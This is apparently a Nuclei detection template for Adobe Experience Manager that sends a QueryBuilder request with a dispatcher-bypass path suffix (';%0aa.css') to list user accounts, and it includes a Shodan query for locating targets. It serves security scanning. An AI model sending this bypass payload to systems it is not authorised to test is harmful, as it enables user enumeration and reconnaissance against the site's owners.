id: aem-jcr-querybuilder

info:
  name: Query JCR role via QueryBuilder Servlet
  author: DhiyaneshDk
  severity: info
  metadata:
    max-request: 1
    shodan-query: http.component:"Adobe Experience Manager"
  tags: aem,misconfig

http:
  - raw:
      - |
        GET /bin/querybuilder.json.;%0aa.css?p.hits=full&property=rep:authorizableId&type=rep:User HTTP/1.1
        Host: {{Hostname}}
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
        Accept-Encoding: gzip, deflate

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - '"success":true'
          - 'jcr:uuid'
        condition: and
# digest: 4a0a00473045022023b1ef380670bb9ca05bbd71189a787ef8b48c1331585f1472411b66f861ff77022100b09a574b8b0dc799c9a08e9248210f7715978c1ce76ffa7140bff741bd911b57:922c64590222798bb761d5b6d8e72950